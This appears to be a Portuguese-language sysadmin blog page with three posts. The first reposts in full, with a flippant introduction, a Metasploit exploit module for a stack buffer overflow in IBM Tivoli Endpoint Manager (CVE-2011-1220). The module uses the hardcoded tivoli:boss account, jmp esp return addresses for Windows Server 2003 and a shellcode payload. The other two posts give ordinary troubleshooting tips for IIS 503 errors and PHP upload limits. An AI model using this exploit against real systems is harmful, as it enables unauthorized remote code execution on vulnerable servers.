IBM Tivoli Endpoint Manager POST Query Buffer Overflow

Standard

Um pouquinho de overflow não faz mal para ninguém:

##
# $Id: ibm_tivoli_endpoint_bof.rb 12925 2011-06-12 00:04:55Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'IBM Tivoli Endpoint Manager POST Query Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow in the way IBM Tivoli
Endpoint Manager versions 3.7.1, 4.1, 4.1.1, 4.3.1 handles long POST query
arguments.

This issue can be triggered by sending a specially crafted HTTP POST request to
the service (lcfd.exe) listening on TCP port 9495. To trigger this issue authorization
is required. This exploit makes use of a second vulnerability, a hardcoded account
(tivoli/boss) is used to bypass the authorization restriction.
},
'Author' =>
[
'bannedit', # metasploit module
'Jeremy Brown <0xjbrown[at]gmail.com>', # original public exploit
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 12925 $',
'References' =>
[
[ 'CVE', '2011-1220'],
[ 'OSVDB', '72713'], # buffer overflow
[ 'OSVDB', '72751'], # hardcoded account
[ 'BID', '48049'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-169/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 400,
'BadChars' => "x00x0dx0a",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
['Windows Server 2003 SP0', { 'Ret' => 0x77d80787 }], # user32.dll - jmp esp
['Windows Server 2003 SP1', { 'Ret' => 0x77403680 }], # user32.dll - jmp esp
['Windows Server 2003 SP2', { 'Ret' => 0x77402680 }], # user32.dll - jmp esp
],
'DisclosureDate' => 'May 31 2011'))

register_options(
[
Opt::RPORT(9495),
], self.class )
end

def exploit
print_status("Trying target #{target.name}...")

auth = Rex::Text.encode_base64("tivoli:boss")
varname = rand_text_alpha(rand(10))

sploit = make_nops(1) * 256
sploit << [target.ret].pack('V') sploit << payload.encoded print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") res = send_request_cgi({ 'uri' => '/addr',
'method' => 'POST',
'headers' =>
{
'Authorization' => "Basic #{auth}"
},
'vars_post' =>
{
varname => sploit,
},
}, 5)

handler
end
end

Fonte: http://www.exploit-db.com/exploits/17392/

Service Unavailable HTTP Error 503 – Coisas que só o IIS pode “proporcionar” a você

Standard

Das coisas que mais me irritam a mais especial é a falta de logs precisos por parte do sistema operacional. Em se tratando de Microsoft aí é que a coisa pega e pega FEIO!

Um dos erros que me fizeram gastar aproximadamente 8 horas de troubleshooting foi o erro Service Unavailable HTTP Error 503. Das coisas que mais se alegam são:

– Chaves pré-definidas junto aos serviços do IIS:
http://blogs.iis.net/webtopics/archive/2010/02/17/a-not-so-common-root-cause-for-503-service-unavailable.aspx
e
http://blogs.msdn.com/b/drnick/archive/2006/10/16/configuring-http-for-windows-vista.aspx

– Contas sem autoridade junto ao IIS:
http://social.msdn.microsoft.com/Forums/en/mdmsetup/thread/4689da4a-0452-45b6-bbb4-21ccb76d8ff9

– IIS operando com recursos de 32 bits em plataformas 64 bits:
http://forums.asp.net/p/1502755/3560390.aspx

– IIS com “loucuras” que só Deus para não duvidar:
http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/55f71614-ef1b-4015-b9c8-a42c1e700c25.mspx?mfr=true

– Falaram que pode ser algum sysadmin modificando algo, por isso o downtime:
http://www.checkupdown.com/status/E503_pt.html
http://technet.microsoft.com/pt-br/library/cc736325%28WS.10%29.aspx

Caso você tenha “passado” pelos pontos acima e nenhum deles “sanou” seu problema, e além disso, você tem CERTEZA de que sua appweb está 100% depurada, debug 100% ok, tudo filé, e ainda tem CERTEZA que nenhum admin andou fazendo besteira em seu servidor, a saída pode ser alcançada da seguinte forma:

1 – Observe se existe alguma tabela corrompida em suas consultas SQL na appweb (caso consiga – detalhe, foi meu caso com BDs do tipo Mysql).
2 – Permissões em arquivos remotos ou tempo de resposta a tais chamadas.

Perceba que não é erro em nada de configuração, servidor e etc (evite loucuras como as minhas de tuning, pensando que era um erro de alto processamento, i/o e etc).

Normalmente os logs ineficientes (ex: 503 “n/a” nome do POOL_com_paranente_problema) do IIS falam que o pool de aplicativos “XXX” (nome que você deu ao pool) para rodar aplicativos DOTNET expirou/expulso/estuprou/estrangulou e etc a requisição (quer seja por POST ou GET). (na pasta logfiles dentro de windows – aonde o iis guarda seus logs)
O mais top dos erros:

1. “Connection_Dropped DefaultAppPool”
2. “Connection_Abandoned_By_AppPool DefaultAppPool”

Mesmo que você venha utilizar-se do software de debug que a MS tem, sinto muito em lhe avisar, mas será em vão utilizar-se tal ferramenta!
Siga os meus conselhos nas linhas em negrito, aquilo ali pode salvar seu dia. Use um frontend para executar suas querys e ver se não estão ali as saídas.

Ferramenta: http://support.microsoft.com/kb/919792/

post_max_size uma informação a mais na hora de aumentar o UPLOAD no php.ini

Standard


Olá ALL,
As vezes erramos quando somente aumentamos diretivas do PHP visando upload, tais como:

max_execution_time,
upload_max_filesize,
e até mempory_limit.

Elas até que estão corretas, assim como max_execution_time, só que os forms que enviam dados (refiro-me a arquivos), fazem envio de arquivos pelo método post.
Sendo assim, se quisermos um upload de 96M em um servidor rodando php precisamos colocar no php.ini a informação de qual o tamanho máximo de envio de dados pelo POST.
A saída então seria:

post_max_size = 96M

Isto dentro do PHP.INI.

Pronto, após ajustes o apache deverá ser reiniciado.

Abraços galera!